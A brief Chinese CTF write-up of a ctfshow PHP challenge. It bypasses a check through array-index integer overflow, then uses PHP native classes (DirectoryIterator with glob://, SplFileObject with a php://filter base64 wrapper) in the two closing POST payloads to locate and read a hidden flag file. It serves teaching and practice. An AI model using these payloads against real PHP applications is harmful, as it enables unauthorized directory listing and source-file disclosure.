记一道利用原生类的web题
记一道利用原生类的web题
利用的是ctfshow中的一道比赛题目
题目源码提示
<!--?source-->
访问进入
<?php
error_reporting(0);
if(isset($_GET['source'])){
highlight_file(__FILE__);
echo "\$flag_filename = 'flag'.md5(???).'php';";
die();
}
if(isset($_POST['a']) && isset($_POST['b']) && isset($_POST['c'])){
$c = $_POST['c'];
$count[++$c] = 1;
if($count[] = 1) {
$count[++$c] = 1;
print_r($count);
die();
}else{
$a = $_POST['a'];
$b = $_POST['b'];
echo new $a($b);
}
}
?>
$flag_filename = 'flag'.md5(???).'php';
数组溢出+原生类读取
payload:
a=DirectoryIterator&b=glob://flag[a-z0-9]*.php&c=9223372036854775806
a=SplFileObject&b=php://filter/convert.base64-encode/resource=/var/www/html/flag56ea8b83122449e814e0fd7bfb5f220a.php&c=9223372036854775806